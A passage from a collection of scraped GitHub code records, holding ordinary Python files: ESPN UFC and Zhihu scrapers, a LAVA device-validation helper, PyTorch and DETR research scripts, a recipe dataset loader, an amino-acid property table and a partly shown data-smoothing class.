200:\n soup = BeautifulSoup(page.text, 'html.parser')\n sections = soup.find_all(name=\"section\", attrs={\"class\": \"Card MMAFightCard\"})\n for section in sections:\n card = section.find(name=\"h3\", attrs={\"class\": \"Card__Header__Title Card__Header__Title--no-theme\"}).text\n matches = section.find_all(name=\"div\", attrs={\n \"class\": \"MMAGamestrip flex items-center justify-center MMAGamestrip--post\"})\n for match in matches:\n competitors = match.find_all(name=\"div\",\n attrs={\"class\": \"MMACompetitor__Detail flex flex-column justify-center\"})\n cnt = 1\n for competitor in competitors:\n if cnt == 1:\n first_competitor = competitor.find(name=\"h2\").text\n first_competitor_wins_loses = competitor.find(name=\"div\").text if competitor.find(name=\"div\") \\\n else None\n cnt += 1\n else:\n second_competitor = competitor.find(name=\"h2\").text\n second_competitor_wins_loses = competitor.find(name=\"div\").text if competitor.find(name=\"div\") \\\n else None\n\n winner_tag = match.find(name=\"use\")\n winner = None\n if winner_tag:\n winner_tag_attr = winner_tag.get(\"xlink:href\")\n if \"left\" in winner_tag_attr:\n winner = 1\n elif \"right\" in winner_tag_attr:\n winner = 2\n else:\n winner = 0\n\n match_result = match.find(name=\"div\", attrs={\"class\": \"h8\"}).text\n match_result_how_tags = match.find_all(name=\"div\", attrs={\"class\": \"n9 pv1 clr-gray-04\"})\n if len(match_result_how_tags) > 1:\n match_result_how = match.find(name=\"div\", attrs={\"class\": \"n9 pv1 clr-gray-04\"}).text\n match_result_when = match.find(name=\"div\", attrs={\"class\": \"n9 pv1 clr-gray-04\"}). \\\n find_next().text\n else:\n match_result_how = None\n match_result_when = match.find(name=\"div\", attrs={\"class\": \"n9 pv1 clr-gray-04\"}).text\n\n\n match = PastMatches(\n card=card.strip(\" - Final\"),\n first_competitor=first_competitor,\n first_competitor_wins_loses=first_competitor_wins_loses,\n second_competitor=second_competitor,\n second_competitor_wins_loses=second_competitor_wins_loses,\n winner=winner,\n match_result=match_result,\n match_result_how=match_result_how,\n match_result_when=match_result_when,\n event_title=event.event_title,\n )\n\n await match.create()\n\n\nasync def events():\n page = requests.get(url=url, headers=headers)\n if page.status_code == 200:\n await Events.delete.gino.all()\n await UpcomingMatches.delete.gino.all()\n await PastMatches.delete.gino.all()\n soup = BeautifulSoup(page.text, 'html.parser')\n tables = soup.find_all(name=\"div\", attrs={\"class\": \"ResponsiveTable\"})\n for table in tables:\n table_title = table.find(name=\"div\", attrs={\"class\": \"Table__Title\"}).text\n events = table.find_all(name=\"tr\", attrs={\"class\": \"Table__TR Table__TR--sm Table__even\"})\n for event in events:\n date = event.find(name=\"td\", attrs={\"class\": \"date__col Table__TD\"}).text\n event_title = event.find(name=\"td\", attrs={\"class\": \"event__col Table__TD\"}).text\n link = \"https://www.espn.com\" + event.find(name=\"a\", attrs={\"class\": \"AnchorLink\"}).get(\"href\")\n location = event.find(name=\"td\", attrs={\"class\": \"location__col Table__TD\"}).text or \"Unknown\"\n\n if table_title == \"Scheduled Events\" or table_title == \"This Week's Events\":\n event_obj = Events(\n date=date,\n event_title=event_title,\n location=location,\n link=link,\n status=\"Upcoming\",\n )\n await event_obj.create()\n\n await get_upcoming_matches(link, event_obj)\n elif table_title == \"Past Results\":\n event_obj = Events(\n date=date,\n event_title=event_title,\n location=location,\n link=link,\n status=\"Past\",\n )\n try:\n await event_obj.create()\n except UniqueViolationError:\n pass\n\n await get_past_matches(link, event_obj)\n","repo_name":"dzmitryi-lazarchyk/ufc_bot","sub_path":"tgbot/misc/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":8342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71279447293","text":"import argparse\nimport xmlrpclib\nimport subprocess\n\n\ndef testcase(hostname, result):\n subprocess.Popen([\"lava-test-case\", \"%s-validity\" % hostname, \"--result\", result])\n return 0\n\n\ndef main():\n parser = argparse.ArgumentParser(description='lava test case device helper')\n parser.add_argument(\n '--instance', type=str, required=True,\n help='Name of the instance to check')\n parser.add_argument(\n '--hostname', default=None, type=str,\n help='Device to check (all pipeline devices if not used)')\n args = parser.parse_args()\n\n connection = xmlrpclib.ServerProxy(\"http://%s//RPC2\" % args.instance)\n if args.hostname:\n data = connection.scheduler.validate_pipeline_devices(args.hostname)\n else:\n data = connection.scheduler.validate_pipeline_devices()\n devices = data.data.split('\\n')\n for device in devices:\n if not device:\n continue\n key = device.split(':')[0]\n print(\"Checked %s: %s\" % (key, device))\n if 'Valid' in device:\n testcase(key, 'pass')\n else:\n testcase(key, 'fail')\n print(device)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Linaro/lava-functional-tests","sub_path":"unit-tests/lava/valid-device.py","file_name":"valid-device.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"31505653264","text":"import torch\nimport numpy as np\nfrom .problem_base import ProblemBase\nfrom torch.utils.data import TensorDataset\nfrom pol.utils.batch_eval import batch_eval, batch_eval_index\n\n\nclass AnalyticalProblem(ProblemBase):\n def __init__(self,\n device,\n var_dim,\n fn,\n train_thetas,\n var_bbox):\n '''\n var_dim: dimension of the search sapce, (=D)\n fn: (X, theta) -> Y, where\n X: ...xD\n theta: ...xC\n Y: ...\n It is assumed that there is no stochasticity in fn.\n train_thetas: NxC\n var_bbox: Dx2, describes the bbox of the search space\n '''\n self.device = device\n self.var_dim = var_dim\n self.fn = fn\n self.train_thetas = train_thetas # NxC\n self.var_bbox = var_bbox.to(device) # Dx2\n\n def get_train_dataset(self):\n return TensorDataset(self.train_thetas)\n\n def sample_prior(self, data_batch, batch_size):\n '''\n data_batch: a list of a singleton theta.\n Return: IxBxD\n '''\n X = torch.rand([data_batch[0].shape[0], batch_size, self.var_dim],\n device=self.device) # IxBxD\n return (X * (self.var_bbox[:, 1] - self.var_bbox[:, 0]) +\n self.var_bbox[:, 0])\n\n def do_satisfy(self, data_batch, X):\n '''\n X: IxBxD\n Return: IxB\n '''\n mask = torch.logical_and(X >= self.var_bbox[:, 0],\n X <= self.var_bbox[:, 1]) # IxBxD\n return mask.all(-1)\n\n def eval_loss(self, data_batch, X):\n '''\n X: IxBxD\n Return: IxB\n '''\n thetas = data_batch[0] # IxC\n thetas = thetas.unsqueeze(1).expand(-1, X.shape[1], -1) # IxBxC\n Y = self.fn(X, thetas) # IxB\n return Y\n\n def extract_latent_code(self, data_batch):\n '''\n Return: IxC\n '''\n return data_batch[0]\n\n def validate(self, solver, aux_data):\n '''\n aux_data should contain:\n * test_thetas\n * (optional) include_loss\n * (optional) include_witness\n * (optional) withness_batch_size\n * (optional) loss_landscape, a dictionary containing:\n - points, WxHx2, on which we evaluate the loss\n * (optional) gt_prox_fn, a function that takes IxBxD -> scalar\n '''\n from pol.utils.validation.shortcuts import simple_validate\n\n def info_fn(thetas):\n result = {\n 'type': 'ndarray_dict',\n 'thetas': thetas.detach().cpu()\n }\n if aux_data.get('include_witness', False):\n for i in range(10):\n witness = self.sample_prior([thetas],\n aux_data.get('witness_batch_size', 1024))\n result[f'witness_{i}'] = witness.detach().cpu()\n\n landscape = aux_data.get('loss_landscape', None)\n if landscape is not None:\n from pol.utils.validation.shortcuts import eval_landscape\n result.update(eval_landscape(thetas=thetas,\n landscape=landscape,\n eval_fn=lambda D, X: self.eval_loss(D, X)))\n if aux_data.get('gt_prox_fn', None):\n # This is just to verify proximal operator is correct in L2 sense.\n gt_prox_fn = aux_data['gt_prox_fn']\n prior_samples = self.sample_prior([thetas],\n aux_data.get('prior_batch_size', 1024))\n X_detach = prior_samples.detach()\n gt = gt_prox_fn(X_detach)\n batch_size = aux_data.get('instance_batch_size', 32)\n X_cpu = batch_eval_index(\n lambda inds: solver.extract_pushed_samples([thetas[inds]], X_detach[inds]),\n thetas.shape[0],\n dim=0,\n batch_size=batch_size,\n no_tqdm=True)\n X = X_cpu.to(solver.device)\n mse = (X - gt).square().sum(-1).mean()\n mse = mse / X.shape[-1] # downscale by dimension\n if 'var_dict' in aux_data:\n var_dict = aux_data['var_dict']\n if 'tb_writer' in var_dict and 'global_step' in var_dict:\n writer = var_dict['tb_writer']\n writer.add_scalar('gt MSE', mse,\n global_step=var_dict['global_step'])\n\n\n return result\n\n def result_fn(thetas, X):\n result = {\n 'type': 'ndarray_dict',\n 'X': X.detach().cpu()\n }\n if aux_data.get('include_loss', True):\n result['loss'] = self.eval_loss([thetas], X).detach().cpu()\n result['satisfy'] = self.do_satisfy([thetas], X).detach().cpu()\n\n return result\n\n return simple_validate(self, solver, aux_data, info_fn, result_fn)\n","repo_name":"lingxiaoli94/POL","sub_path":"pol/problems/analytical.py","file_name":"analytical.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"24381382012","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nimport re\n\nimport scrapy\nfrom scrapy.utils.markup import remove_tags\n\nfrom zhihu.items import Answer\n\n\ndef get_date(s):\n clean_s = re.findall(r'\\d{4}-\\d{2}-\\d{2}', s)[-1]\n d = datetime.strptime(clean_s, '%Y-%m-%d')\n return d\n\nclass MostLikeAnswersSpider(scrapy.spiders.Spider):\n name = \"MostLikeAnswersSpider\"\n allowed_domains = [\"zhihu.com\"]\n start_urls = ['https://www.zhihu.com/topic/19776749/top-answers']\n\n def parse(self, response):\n for item in response.css(\".feed-item\"):\n date_tag = item.css('a.answer-date-link')\n last_updated_tag = date_tag.css('::text').extract_first()\n created_tag = date_tag.css('::attr(data-tooltip)').extract_first()\n if not created_tag:\n created_tag = last_updated_tag\n yield {\n 'url': item.css('link::attr(href)').extract_first(),\n 'question': item.css('h2>a::text').extract_first(),\n 'answer': remove_tags(item.css('textarea.content::text').extract_first()),\n 'created': get_date(created_tag),\n 'last_updated': get_date(last_updated_tag),\n 'likes': int(item.css('span.js-voteCount::text').extract_first()),\n }\n\n next_href = response.css('.zm-invite-pager span:last-of-type>a::attr(href)').extract_first()\n print(next_href)\n if next_href:\n yield response.follow(next_href, callback=self.parse)\n","repo_name":"joodo/zhihu-crawler","sub_path":"crawler/spiders/most_like_answers_spider.py","file_name":"most_like_answers_spider.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1665225025","text":"#!/usr/bin/python\n\nfrom detr import DETRsimple\nfrom utils import *\nfrom PIL import Image\nimport time\nimport math\nimport torch\nimport torchvision.transforms as T\ntorch.set_grad_enabled(False)\n\n# Image path to segment\nurl = '/home/grvc/Downloads/photo5974074985481876075.jpg'\nplot_beauty = True\n\n# Configure GPU support\nif torch.cuda.is_available(): \n dev = \"cuda:0\" \n print(\"Using CUDA with \" + torch.cuda.get_device_name(0))\nelse: \n dev = \"cpu\" \n\n# Detectron2 uses a different numbering scheme, we build a conversion table\ncoco2d2 = {}\ncount = 0\nfor i, c in enumerate(CLASSES):\n if c != \"N/A\":\n coco2d2[i] = count\n count+=1\n\n# standard PyTorch mean-std input image normalization\ntransform = T.Compose([\n T.Resize(800),\n T.ToTensor(),\n T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n])\n\nmodel, postprocessor = torch.hub.load('facebookresearch/detr', 'detr_resnet101_panoptic', pretrained=True, return_postprocessor=True, num_classes=250)\nmodel.eval()\n\n# Move DETR to cuda device\nmodel = model.to(dev)\n\n# Load image\nim = Image.open(url)\nstart = time.time()\n\n# mean-std normalize the input image (batch-size: 1)\nimg = transform(im).unsqueeze(0).cuda()\nout = model(img)\n\nend = time.time()\nprint('Segmentation time: '+ str(end - start) + ' sec')\n\n# compute the scores, excluding the \"no-object\" class (the last one)\nscores = out[\"pred_logits\"].softmax(-1)[..., :-1].max(-1)[0]\n# threshold the confidence\nkeep = scores > 0.85\n\n# DEBUG -- Print mask that DETR segment individually\n#plot_masks_subplot(out,keep)\n\n# the post-processor expects as input the target size of the predictions (which we set here to the image size)\nresult = postprocessor(out, torch.as_tensor(img.shape[-2:]).unsqueeze(0).cuda())[0]\n\n# Plot all masks together\nif plot_beauty:\n segm_img = plot_segmentation_masks_beauty(result, im)\n print('\\nClose figure using \"Enter\" pls')\n cv2.imshow(\"panoptic\",segm_img)\n cv2.waitKey(0)\n cv2.destroyWindow(\"panoptic\")\nelse:\n panoptic_img = plot_segmentation_masks(result)\n plt.figure(figsize=(15,15))\n plt.imshow(panoptic_img)\n plt.axis('off')\n plt.show()\n","repo_name":"mgrova/detr_gpu","sub_path":"segmentation_panoptic_image.py","file_name":"segmentation_panoptic_image.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71019911931","text":"\"\"\"Functionality for instantiating classes from specification.\"\"\"\nfrom dataclasses import dataclass\nfrom typing import ClassVar, Generator, Optional, TypeVar\n\nSpecT = TypeVar(\"SpecT\", bound=\"SpecMixin\")\n\n\n@dataclass(frozen=True)\nclass SpecMixin:\n \"\"\"A mixin class which stores the specifications of its instances.\"\"\"\n\n # This cache of specifications needs to be provided\n # by the class to which this class is mixed-in.\n # It allows every derived class to have its own cache.\n specs_by_id: ClassVar[dict[str, dict]]\n\n spec_id: str\n name: Optional[str]\n\n @classmethod\n def load_specifications(cls: type[SpecT], specifications: list[dict]) -> None:\n for specification in specifications:\n specification_id = specification[\"id\"]\n cls.specs_by_id[specification_id] = specification\n\n @classmethod\n def from_spec(cls: type[SpecT], spec: dict) -> SpecT:\n raise NotImplementedError\n\n @classmethod\n def from_all_specs(cls: type[SpecT]) -> Generator[SpecT, None, None]:\n for spec in cls.specs_by_id.values():\n yield cls.from_spec(spec)\n\n @classmethod\n def from_id(cls: type[SpecT], spec_id: str) -> SpecT:\n return cls.from_spec(cls.specs_by_id[spec_id])\n\n @classmethod\n def default_id(cls: type[SpecT]) -> str:\n return next(iter(cls.specs_by_id.keys()))\n","repo_name":"pbasista/serial-jobs","sub_path":"src/serial_jobs/specification.py","file_name":"specification.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73280953533","text":"from __future__ import annotations\nfrom functools import partial\nfrom typing import TYPE_CHECKING, Literal, Optional, TypedDict\nimport numpy as np\nfrom pyrsistent import v\nimport torch\nimport pandas as pd\nimport shared.env\nimport shared.graph as graph\n\nfrom dataclasses import dataclass, field\n\nfrom utils.stub import dc_copy_shallow, tokenize\n\nif TYPE_CHECKING:\n from transformers import PreTrainedTokenizerFast\n\n\n@dataclass\nclass DataRaw:\n id: int = field(kw_only=True)\n id_label: str = field(kw_only=True)\n\n input_ids: torch.Tensor = field(kw_only=True)\n attention_mask: torch.Tensor = field(kw_only=True)\n target: Optional[torch.Tensor] = field(kw_only=True)\n\n # NOT_MASKED: ClassVar[list[str]] = [\"input_ids\", \"attention_mask\"]\n\n def get_input(self):\n return {\n \"input_ids\": self.input_ids,\n \"attention_mask\": self.attention_mask,\n }\n\n def move(self, device: torch.device):\n self.input_ids = self.input_ids.to(device)\n self.attention_mask = self.attention_mask.to(device)\n if self.target is not None: \n self.target = self.target.to(device)\n\n @staticmethod\n def collate_one(data):\n return data\n\n\n@dataclass\nclass DataRawList:\n id: int = field(kw_only=True)\n id_label: str = field(kw_only=True)\n\n input_ids: list[torch.Tensor] = field(kw_only=True)\n attention_mask: list[torch.Tensor] = field(kw_only=True)\n target: Optional[torch.Tensor] = field(kw_only=True)\n\n view: slice = field(kw_only=True, default_factory=lambda: slice(None))\n \"\"\"View on **permutation** of the list.\"\"\"\n\n def with_view(self, view: slice):\n cp = dc_copy_shallow(self)\n cp.view = view\n return cp\n\n def __len__(self):\n return len(self.input_ids)\n\n\nclass DatasetMmresOption(TypedDict):\n max_graph_size: int\n min_graph_size: int\n\n\nclass DatasetMmres:\n def __init__(self, option: DatasetMmresOption, tokenizer: PreTrainedTokenizerFast):\n self.option = option\n # self.rng = np.random.default_rng(option[\"seed\"] if \"seed\" in option else None)\n self.tokenizer = tokenizer\n self.df = self.init_dataframe()\n\n def init_dataframe(self):\n df = pd.read_json(shared.env.PATH_DATA_MMRES)\n\n # if not shared.env.INSTRUCTION_IS_ORDERED:\n # df[\"shuffle_instr\"] = df.apply(self.shuffle_graph_order, axis=1) # type: ignore\n\n df[\"graph_size\"] = df[\"instrs\"].apply(len)\n df = df[\n (df[\"graph_size\"] <= self.option[\"max_graph_size\"])\n & (df[\"graph_size\"] >= self.option[\"min_graph_size\"])\n & (df[\"edges\"].apply(len) != 0)\n ].reset_index(drop=True)\n\n df[\"adj\"] = pd.Series(\n graph.get_adj_matrix_from_edges(\n edges=edges,\n graph_size=graph_size,\n )\n for edges, graph_size in zip(df[\"edges\"], df[\"graph_size\"])\n )\n\n def tokenize(input: list[str]):\n result = self.tokenizer(input, return_token_type_ids=False)\n return {\n k: list(map(torch.tensor, v)) if isinstance(v, list) else v\n for k, v in result.items()\n }\n\n df = df.join(pd.DataFrame.from_records(df[\"instrs\"].apply(tokenize)))\n\n return df\n","repo_name":"Yixuan-Wang/recipe-order","sub_path":"recipe_order/shared/traindata.py","file_name":"traindata.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9880506616","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.utils import resample\nfrom sklearn.preprocessing import MultiLabelBinarizer\n\n\n# This file contains a function to return the physical properties of an individual amino acid\n# And compare properties of the pairs of amino acids\n# contains a number of properties, including a set of binary properties, the Kidera factors\n# and the hydrophobicity\n#\n# General comments: Looked into BLOSUM scores but I don't think they are quite what we are looking for.\n# BLOSUM is block matrix for substitution and alignments similarity score\n\nNaN = np.nan\n# names of the single letter coded amino acids\naa_name_dict = {'A': 'Alanine',\n 'R': 'Arginine',\n 'N': 'Asparagine',\n 'D': 'Aspartic Acid',\n 'C': 'Cysteine',\n 'E': 'Glutamic acid',\n 'Q': 'Glutamine',\n 'G': 'Glycine',\n 'H': 'Histidine',\n 'O': 'Hydroxoyproline',\n 'I': 'Isoleucine',\n 'L': 'Leucine',\n 'K': 'Lysine',\n 'M': 'Methionine',\n 'F': 'Phenylalanine',\n 'P': 'Proline',\n 'U': 'Pyroglutamic',\n 'S': 'Serine',\n 'T': 'Threonine',\n 'W': 'Tryptophan',\n 'Y': 'Tyrosine',\n 'V': 'Valine'}\n\n# pKa of side chain residue\naa_pKx_dict = {'A': NaN,\n 'R': 12.38,\n 'N': NaN,\n 'D': 3.65,\n 'C': 8.18,\n 'E': 4.25,\n 'Q': NaN,\n 'G': NaN,\n 'H': 6.0,\n 'O': NaN,\n 'I': NaN,\n 'L': 'NA',\n 'K': 10.53,\n 'M': NaN,\n 'F': NaN,\n 'P': NaN,\n 'U': NaN,\n 'S': NaN,\n 'T': NaN,\n 'W': NaN,\n 'Y': 10.07,\n 'V': NaN}\n\n# hydrophobicity scaled from 100 to -100\n# taken from sigma-aldrich website,\n# 0 is glycine, 100 is most hydrophobic, -100 is least hydrophilic\naa_ph7_hydrophob_dict = {'A': 41,\n 'R': -14,\n 'N': -28,\n 'D': -55,\n 'C': 49,\n 'E': -31,\n 'Q': -10,\n 'G': 0,\n 'H': 8,\n 'O': NaN,\n 'I': 99,\n 'L': 97,\n 'K': -23,\n 'M': 74,\n 'F': 100,\n 'P': -46,\n 'U': NaN,\n 'S': -5,\n 'T': 13,\n 'W': 97,\n 'Y': 63,\n 'V': 76}\n\n# generated a number of binary properties for each amino acids\n# include aliphatic / aromatic / polar /ionic side chains (and charge if ionic)\naa_binary_props = {'A': ['hydrophobic', 'aliphatic'],\n 'R': ['hydrophilic', 'ionic', 'plus', 'donor', 'acceptor'],\n 'N': ['hydrophilic', 'acceptor', 'donor', 'polar'],\n 'D': ['hydrophilic', 'ionic', 'minus'],\n 'C': ['hydrophilic', 'donor', 'polar'],\n 'E': ['hydrophilic', 'minus', 'ionic'],\n 'Q': ['hydrophilic', 'acceptor', 'donor', 'polar'],\n 'G': ['donor'],\n 'H': ['hydrophilic', 'ionic', 'plus', 'donor', 'acceptor'],\n 'O': ['hydrophilic', 'ionic', 'plus'],\n 'I': ['hydrophobic', 'aliphatic'],\n 'L': ['hydrophobic', 'aliphatic'],\n 'K': ['hydrophobic', 'ionic', 'plus'],\n 'M': ['hydrophobic', 'aliphatic'],\n 'F': ['hydrophobic', 'aromatic'],\n 'P': ['hydrophobic', 'aliphatic'],\n 'U': ['hydrophilic', 'ionic', 'minus'],\n 'S': ['hydrophilic', 'donor', 'acceptor', 'polar'],\n 'T': ['hydrophilic', 'donor', 'acceptor', 'polar'],\n 'W': ['hydrophobic', 'donor', 'aromatic'],\n 'Y': ['hydrophilic', 'donor', 'acceptor', 'aromatic'],\n 'V': ['hydrophobic', 'aliphatic']}\n\n# put all those into a dataframe\naa_phys_prop_df = pd.DataFrame([aa_name_dict, aa_pKx_dict, aa_ph7_hydrophob_dict, aa_binary_props],\n index=['name', 'pKx', 'hydrophobicity', 'binaryProp']).T\n\n# List of amino acids for the KF arrays below:\nAA_key = ['A', 'G', 'L', 'M', 'F', 'W', 'K', 'Q', 'E', 'S',\n 'P', 'V', 'I', 'C', 'Y', 'H', 'R', 'N', 'D', 'T']\n# We can also instead look at some properties like charge or kidera factors\n# Kidera factors reference can be found in:\n# Kidera, A., Konishi, Y., Oka, M. et al. J Protein Chem (1985) 4: 23. https://doi.org/10.1007/BF01025492\nAA_num_key = np.arange(20)+1\n# electrostatic Charges\ncharge_key = [0, 0, 0, 0, 0, 0, 1, 0, -1, 0, 0, 0, 0, -0.048, 0, 0.091, 1, 0, -1, 0]\n# Helix/bend preference\nfactor1 = [-1.56, 1.46, -1.04, -1.4, -0.21, 0.3, -0.34, -0.47, -1.45, 0.81,\n 2.06, -0.74, -0.73, 0.12, 1.38, -0.41, 0.22, 1.14, 0.58, 0.26]\n# Side-chain size\nfactor2 = [-1.67, -1.96, 0, 0.18, 0.98, 2.1, 0.82, 0.24, 0.19, -1.08,\n -0.33, -0.71, -0.16, -0.89, 1.48, 0.52, 1.27, -0.07, -0.22, -0.7]\n# Extended structure preference\nfactor3 = [-0.97, -0.23, -0.24, -0.42, -0.36, -0.72, -0.23, 0.07, -1.61, 0.16,\n -1.15, 2.04, 1.79, 0.45, 0.8, -0.28, 1.37, -0.12, -1.58, 1.21]\n# Hydrophobicity\nfactor4 = [-0.27, -0.16, -1.1, -0.73, -1.43, -1.57, 1.7, 1.1, 1.17, 0.42,\n -0.75, -0.4, -0.77, -1.05, -0.56, 0.28, 1.87, 0.81, 0.81, 0.63]\n# Double-bend preference\nfactor5 = [-0.93, 0.1, -0.55, 2, 0.22, -1.16, 1.54, 1.1, -1.31, -0.21,\n 0.88, 0.5, -0.54, -0.71, 0, 1.61, -1.7, 0.18, -0.92, -0.1]\n# Partial specific volume\nfactor6 = [-0.78, -0.11, -2.05, 1.52, -0.81, 0.57, -1.62, 0.59, 0.4, -0.43,\n -0.45, -0.81, 0.03, 2.41, -0.68, 1.01, 0.46, 0.37, 0.15, 0.21]\n# Flat extended preference\nfactor7 = [-0.2, 1.32, 0.96, 0.26, 0.67, -0.48, 1.15, 0.84, 0.04, -1.89,\n 0.3, -1.07, -0.83, 1.52, -0.31, -1.85, 0.92, -0.09, -1.52, 0.24]\n# Occurrence in alpha region\nfactor8 = [-0.08, 2.36, -0.76, 0.11, 1.1, -0.4, -0.08, -0.71, 0.38, -1.15,\n -2.3, 0.06, 0.51, -0.69, 1.03, 0.47, -0.39, 1.23, 0.47, -1.15]\n# pK-C\nfactor9 = [0.21, -1.66, 0.45, -1.27, 1.71, -2.3, -0.48, -0.03, -0.35, -0.97,\n 0.74, -0.46, 0.66, 1.13, -0.05, 1.13, 0.23, 1.1, 0.76, -0.56]\n# Surrounding hydrophobicity\nfactor10 = [-0.48, 0.46, 0.93, 0.27, -0.44, -0.6, 0.6, -2.33, -0.12, -0.23,\n -0.28, 0.65, -1.78, 1.1, 0.53, 1.63, 0.93, -1.73, 0.7, 0.19]\n# make them into a DF\nprops = np.vstack([charge_key, factor1, factor2, factor3, factor4,\n factor5, factor6, factor7, factor8, factor9, factor10])\nlabels = ['charge', 'KF1', 'KF2', 'KF3', 'KF4', 'KF5', 'KF6', 'KF7', 'KF8', 'KF9', 'KF10']\nkf_df = pd.DataFrame(props, columns=AA_key, index=labels).T\n\naa_phys_prop_df = aa_phys_prop_df.join(kf_df, how='outer')\n\n# vectorize the binary label list into set of columns containing each of the binary classifiers\nmlb = MultiLabelBinarizer()\nX = mlb.fit_transform(aa_phys_prop_df['binaryProp'])\naa_phys_prop_df = aa_phys_prop_df.join(pd.DataFrame(X,\n index=aa_phys_prop_df.index,\n columns=mlb.classes_\n ).add_prefix('bp_')).drop(columns=['binaryProp'])\n\n\ndef get_phys_prop_AA(aa_code, prop_code):\n \"\"\" Input the amino acid single letter code, and the prop code from the list below\n This will return a physical property for the amino acid of interest. \\n\n Prop codes are: name, pKx, hydrophobicity, charge,\n KF1, KF2, KF3, KF4, KF5, KF6, KF7, KF8, KF9, KF10.\\n\n The interpretation of the KF codes are as follows:\\n\n 1: Helix/bend preference. \\n\n 2: Side-chain size. \\n\n 3: Extended structure preference. \\n\n 4: Hydrophobicity. \\n\n 5: Double-bend preference. \\n\n 6: Partial specific volume. \\n\n 7: Flat extended preference. \\n\n 8: Occurrence in alpha region. \\n\n 9: pK-C\\n\n 10: Surrounding hydrophobicity. \"\"\"\n df_row_index = aa_code\n column_index = prop_code\n return aa_phys_prop_df.loc[df_row_index, column_index]\n\n\ndef bootstrapper(array, samp_size=1000):\n \"\"\"This function is a wrapper to bootstrap\n (generate extra samples with replacement from the original)\n the initial data. arguments are the iterable, and the number of samples to return.\n samp_size is 1000 by default (returning a resampled iterable with 1000 items.\"\"\"\n return resample(array, replace=True, n_samples=samp_size, random_state=0)\n\n","repo_name":"pnandigr/pdb-analysis","sub_path":"src/fxn_aa_phys_prop.py","file_name":"fxn_aa_phys_prop.py","file_ext":"py","file_size_in_byte":9008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35844859916","text":"from distutils.log import error\nimport numpy as np\nimport matplotlib.pyplot as plt \n\n\"\"\"\nThis data fitting protocol essentially uses a Monte\nCarlo scheme that minimizes the following competing \nterms:\n\n Cost = (1 - smoother) * ( model - data )^2 \n + smoother * ( model_slope_difference )^2\n\nOf course, these terms are summed over all data. \n\nThe 'smoother' quantity is a parameter that controls \nthe degree to which either term dominates the mini-\nmization scheme. We note that when smoother = 1, then\nthe resulting curve with be a straight line, and when\nsmoother = 0, the resulting curve with exactly match\nthe input data.\n\nCurrently, this data only works for functions of \n1D arguments.\n\"\"\"\n\nclass SmoothDataFitter:\n def __init__(self) -> None:\n pass\n\n def set_smoother(self, _smooth):\n if _smooth < 0. or _smooth > 1.:\n raise AttributeError(\"\\nThe smoother parameter must be between 0 and 1.\\nsmoother = 0 is noisy and smoother = 1 approaches a line.\") \n self.smoother = _smooth\n return \n \n def set_data(self, _data):\n if not isinstance(_data, np.ndarray):\n raise TypeError(\"Data object is not a numpy ndarray. type(data) = {}\".format(type(_data)))\n self.data = _data\n return \n \n def set_input(self, _input):\n if not isinstance(_input, np.ndarray):\n raise TypeError(\"Input data object is not a numpy ndarray. type(input) = {}\".format(type(_input)))\n self.input = _input\n return \n\n def set_problem(self, _input, _data):\n self.set_input(_input)\n self.set_data(_data)\n if self.input.shape != self.data.shape:\n raise AttributeError(\"input x-axis and y-axis data are not of the same size. x: {0}, y: {1}\".format(self.input.shape, self.data.shape))\n if len(self.input) < 4:\n raise AttributeError(\"Not enough input data. At least 4 points are needed, {} provided.\".format(len(self.input)))\n return\n \n def initialize_model(self):\n self.model = np.zeros( self.data.shape )\n self.model = self.get_average_array(use_data=True)\n return\n\n def initialize_problem(self, _input, _data, smoother=1.):\n self.set_smoother(smoother)\n self.set_problem(_input, _data)\n self.initialize_model()\n return\n\n def average_single_point(self, index, data_to_avg):\n dx_left = self.input[index] - self.input[index - 1]\n dx_right = self.input[index + 1] - self.input[index]\n weights = 1/abs(dx_left), 1/abs(dx_right)\n avg = ( weights[0] * data_to_avg[index - 1] + weights[1] * data_to_avg[index + 1] ) / ( weights[0] + weights[1] )\n return avg\n \n def average_data_interior(self, use_data=True):\n data_to_avg = self.model \n if use_data:\n data_to_avg = self.data\n averaged_data = np.zeros( data_to_avg.shape )\n for idx in range(1, len(data_to_avg)-1):\n averaged_data[idx] = self.average_single_point( idx, data_to_avg )\n return averaged_data\n\n def extrapolate_boundary_points(self, averaged_data):\n # This uses a linear extrapolation off of interior\n # to find the boundary. This essentially means that \n # the smooth fit will be linear at either boundary.\n left_boundary = averaged_data[1] + ( averaged_data[2] - averaged_data[1] ) / ( self.input[2] - self.input[1] ) * ( self.input[0] - self.input[1] )\n right_boundary = averaged_data[-2] + ( averaged_data[-2] - averaged_data[-3] ) / ( self.input[-2] - self.input[-3] ) * ( self.input[-1] - self.input[-2] )\n return left_boundary, right_boundary\n\n def get_average_array(self, use_data=True):\n averaged_data = self.average_data_interior(use_data)\n boundary_points = self.extrapolate_boundary_points(averaged_data)\n averaged_data[0] = boundary_points[0]\n averaged_data[-1] = boundary_points[1]\n return averaged_data\n\n def point_model_diff_term(self, index, step=0.):\n # This term wants to minimize the difference\n # between the model (+step) and the input data\n return (1. - self.smoother) * ( self.model[index] + step - self.data[index] ) ** 2.\n \n def point_model_slope_term(self, index, step=0.):\n # This term wants to minimize the discontinuity\n # in the derivatives.\n # TODO: figure out a better weighting procedure\n # for the difference in 